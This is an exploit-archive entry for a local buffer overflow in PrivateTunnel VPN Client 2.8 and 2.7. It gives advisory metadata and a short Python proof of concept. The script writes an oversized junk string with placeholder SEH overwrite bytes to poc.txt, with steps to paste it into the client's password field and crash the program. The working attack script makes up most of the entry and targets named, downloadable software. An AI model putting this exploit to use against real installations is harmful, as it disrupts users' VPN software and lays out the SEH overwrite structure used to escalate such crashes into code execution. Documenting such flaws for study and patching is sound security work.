PrivateTunnel Client 2.8 - Local Buffer Overflow

2017.04.26

Credit: Muhann4d

Risk: High

Local: Yes

Remote: No

CVE: N/A

CWE: CWE-119

#!/usr/bin/python
# Exploit Title : Private Tunnel VPN Client 2.8 - Local Buffer Overflow (SEH)
# Date : 25/04/2017
# Exploit Author : Muhann4d
# Vendor Homepage : https://www.privatetunnel.com
# Software Link : https://swupdate.openvpn.org/privatetunnel/client/privatetunnel-win-2.8.exe
# Affected Versions : 2.8 & 2.7
# Category : Denial of Service (DoS) Local
# Tested on OS : Windows 7 SP1 32bit 64bit
# Proof of Concept : run the exploit, copy the contents of poc.txt, paste it in the password field and press Login.
junkA = "\x41" * 1996
nSEH = "\x42" * 4
SEH = "\x43" * 4
junkD = "\x44" * 9000
f = open ("poc.txt", "w")
f.write(junkA + nSEH + SEH + junkD)
f.close()

References:

https://swupdate.openvpn.org/privatetunnel/client/privatetunnel-win-2.8.exe

See this note in RAW Version

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PrivateTunnel Client 2.8 - Local Buffer Overflow

References:

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